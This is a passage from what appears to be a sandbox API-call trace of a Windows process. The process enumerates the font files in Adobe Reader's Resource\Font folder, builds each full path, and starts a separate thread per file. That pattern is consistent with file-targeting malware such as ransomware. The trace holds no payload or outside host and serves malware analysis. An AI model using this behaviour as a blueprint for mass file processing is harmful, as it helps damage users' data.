lpParameter=0x12c6b390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28 [0158.518] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835e8000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x112a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-BoldItalic.otf", cAlternateFileName="ADOBET~3.OTF")) returned 1 [0158.518] wcscmp (_String1="AdobeThai-BoldItalic.otf", _String2=".") returned 1 [0158.518] wcscmp (_String1="AdobeThai-BoldItalic.otf", _String2="..") returned 1 [0158.518] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x936528 [0158.518] wcscpy (in: _Dest=0x936528, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.518] wcscat (in: _Dest=0x936528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.518] wcscat (in: _Dest=0x936528, _Source="AdobeThai-BoldItalic.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-BoldItalic.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-BoldItalic.otf" [0158.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x936528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24 [0158.519] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Italic.otf", cAlternateFileName="ADOBET~4.OTF")) returned 1 [0158.519] wcscmp (_String1="AdobeThai-Italic.otf", _String2=".") returned 1 [0158.519] wcscmp (_String1="AdobeThai-Italic.otf", _String2="..") returned 1 [0158.519] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x12c6b250 [0158.519] wcscpy (in: _Dest=0x12c6b250, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.519] wcscat (in: _Dest=0x12c6b250, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.519] wcscat (in: _Dest=0x12c6b250, _Source="AdobeThai-Italic.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Italic.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Italic.otf" [0158.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c6b250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20 [0158.520] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10530, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Regular.otf", cAlternateFileName="ADOBET~2.OTF")) returned 1 [0158.520] wcscmp (_String1="AdobeThai-Regular.otf", _String2=".") returned 1 [0158.520] wcscmp (_String1="AdobeThai-Regular.otf", _String2="..") returned 1 [0158.520] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x936678 [0158.520] wcscpy (in: _Dest=0x936678, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.520] wcscat (in: _Dest=0x936678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.520] wcscat (in: _Dest=0x936678, _Source="AdobeThai-Regular.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Regular.otf" [0158.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x936678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c [0158.522] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Bold.otf", cAlternateFileName="COURIE~3.OTF")) returned 1 [0158.522] wcscmp (_String1="CourierStd-Bold.otf", _String2=".") returned 1 [0158.522] wcscmp (_String1="CourierStd-Bold.otf", _String2="..") returned 1 [0158.522] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x96) returned 0x12c6b110 [0158.522] wcscpy (in: _Dest=0x12c6b110, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.522] wcscat (in: _Dest=0x12c6b110, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.522] wcscat (in: _Dest=0x12c6b110, _Source="CourierStd-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Bold.otf" [0158.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c6b110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18 [0158.523] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x90dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-BoldOblique.otf", cAlternateFileName="COURIE~2.OTF")) returned 1 [0158.523] wcscmp (_String1="CourierStd-BoldOblique.otf", _String2=".") returned 1 [0158.523] wcscmp (_String1="CourierStd-BoldOblique.otf", _String2="..") returned 1 [0158.523] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0xd4c8080 [0158.523] wcscpy (in: _Dest=0xd4c8080, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.523] wcscat (in: _Dest=0xd4c8080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.523] wcscat (in: _Dest=0xd4c8080, _Source="CourierStd-BoldOblique.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-BoldOblique.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-BoldOblique.otf" [0158.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c8080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14 [0158.525] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9238, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Oblique.otf", cAlternateFileName="COURIE~4.OTF")) returned 1 [0158.525] wcscmp (_String1="CourierStd-Oblique.otf", _String2=".") returned 1 [0158.525] wcscmp (_String1="CourierStd-Oblique.otf", _String2="..") returned 1 [0158.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x936720 [0158.525] wcscpy (in: _Dest=0x936720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.525] wcscat (in: _Dest=0x936720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.525] wcscat (in: _Dest=0x936720, _Source="CourierStd-Oblique.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Oblique.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Oblique.otf" [0158.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x936720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd10 [0158.526] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f57cca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd.otf", cAlternateFileName="COURIE~1.OTF")) returned 1 [0158.526] wcscmp (_String1="CourierStd.otf", _String2=".") returned 1 [0158.526] wcscmp (_String1="CourierStd.otf", _String2="..") returned 1 [0158.526] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x9ac398 [0158.526] wcscpy (in: _Dest=0x9ac398, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.526] wcscat (in: _Dest=0x9ac398, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.527] wcscat (in: _Dest=0x9ac398, _Source="CourierStd.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd.otf" [0158.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd0c [0158.528] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Bold.otf", cAlternateFileName="MINION~4.OTF")) returned 1 [0158.528] wcscmp (_String1="MinionPro-Bold.otf", _String2=".") returned 1 [0158.528] wcscmp (_String1="MinionPro-Bold.otf", _String2="..") returned 1 [0158.528] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x12c6c510 [0158.528] wcscpy (in: _Dest=0x12c6c510, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.528] wcscat (in: _Dest=0x12c6c510, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.528] wcscat (in: _Dest=0x12c6c510, _Source="MinionPro-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Bold.otf" [0158.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c6c510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0158.529] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43898, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-BoldIt.otf", cAlternateFileName="MINION~3.OTF")) returned 1 [0158.529] wcscmp (_String1="MinionPro-BoldIt.otf", _String2=".") returned 1 [0158.529] wcscmp (_String1="MinionPro-BoldIt.otf", _String2="..") returned 1 [0158.529] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x12c6c5b0 [0158.529] wcscpy (in: _Dest=0x12c6c5b0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.529] wcscat (in: _Dest=0x12c6c5b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.529] wcscat (in: _Dest=0x12c6c5b0, _Source="MinionPro-BoldIt.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-BoldIt.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-BoldIt.otf" [0158.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c6c5b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0158.531] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x436ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-It.otf", cAlternateFileName="MINION~2.OTF")) returned 1 [0158.531] wcscmp (_String1="MinionPro-It.otf", _String2=".") returned 1 [0158.531] wcscmp (_String1="MinionPro-It.otf", _String2="..") returned 1 [0158.531] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0x9ac7c0 [0158.531] wcscpy (in: _Dest=0x9ac7c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.531] wcscat (in: _Dest=0x9ac7c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.531] wcscat (in: _Dest=0x9ac7c0, _Source="MinionPro-It.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-It.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-It.otf" [0158.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ac7c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0158.532] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f615220, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x38790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Regular.otf", cAlternateFileName="MINION~1.OTF")) returned 1 [0158.532] wcscmp (_String1="MinionPro-Regular.otf", _String2=".") returned 1 [0158.532] wcscmp (_String1="MinionPro-Regular.otf", _String2="..") returned 1 [0158.532] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x9367c8 [0158.532] wcscpy (in: _Dest=0x9367c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.532] wcscat (in: _Dest=0x9367c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.532] wcscat (in: _Dest=0x9367c8, _Source="MinionPro-Regular.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Regular.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Regular.otf" [0158.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9367c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0158.533] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x175c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Bold.otf", cAlternateFileName="MYRIAD~3.OTF")) returned 1 [0158.533] wcscmp (_String1="MyriadPro-Bold.otf", _String2=".") returned 1 [0158.533] wcscmp (_String1="MyriadPro-Bold.otf", _String2="..") returned 1 [0158.533] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0xd495320 [0158.533] wcscpy (in: _Dest=0xd495320, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.533] wcscat (in: _Dest=0xd495320, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.534] wcscat (in: _Dest=0xd495320, _Source="MyriadPro-Bold.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Bold.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Bold.otf" [0158.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd495320, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04 [0158.770] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1879c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-BoldIt.otf", cAlternateFileName="MYRIAD~2.OTF")) returned 1 [0158.771] wcscmp (_String1="MyriadPro-BoldIt.otf", _String2=".") returned 1 [0158.771] wcscmp (_String1="MyriadPro-BoldIt.otf", _String2="..") returned 1 [0158.771] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x98) returned 0x9ad208 [0158.771] wcscpy (in: _Dest=0x9ad208, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0158.771] wcscat (in: _Dest=0x9ad208, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0158.771] wcscat (in: _Dest=0x9ad208, _Source="MyriadPro-BoldIt.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-BoldIt.otf" [0159.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9ad208, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98 [0159.290] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-It.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0159.290] wcscmp (_String1="MyriadPro-It.otf", _String2=".") returned 1 [0159.290] wcscmp (_String1="MyriadPro-It.otf", _String2="..") returned 1 [0159.290] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x90) returned 0xd4b7400 [0159.291] wcscpy (in: _Dest=0xd4b7400, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0159.291] wcscat (in: _Dest=0xd4b7400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0159.291] wcscat (in: _Dest=0xd4b7400, _Source="MyriadPro-It.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf" [0159.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c [0159.292] FindNextFileW (in: hFindFile=0x8da090, lpFindFileData=0x967eb8 | out: lpFindFileData=0x967eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17098, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Regular.otf", cAlternateFileName="MYRIAD~4.OTF")) returned 1 [0159.292] wcscmp (_String1="MyriadPro-Regular.otf", _String2=".") returned 1 [0159.292] wcscmp (_String1="MyriadPro-Regular.otf", _String2="..") returned 1 [0159.292] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9a) returned 0x934528 [0159.292] wcscpy (in: _Dest=0x934528, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font" [0159.292] wcscat (in: _Dest=0x934528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\" [0159.292] wcscat (in: _Dest=0x934528, _Source="MyriadPro-Regular.otf" | 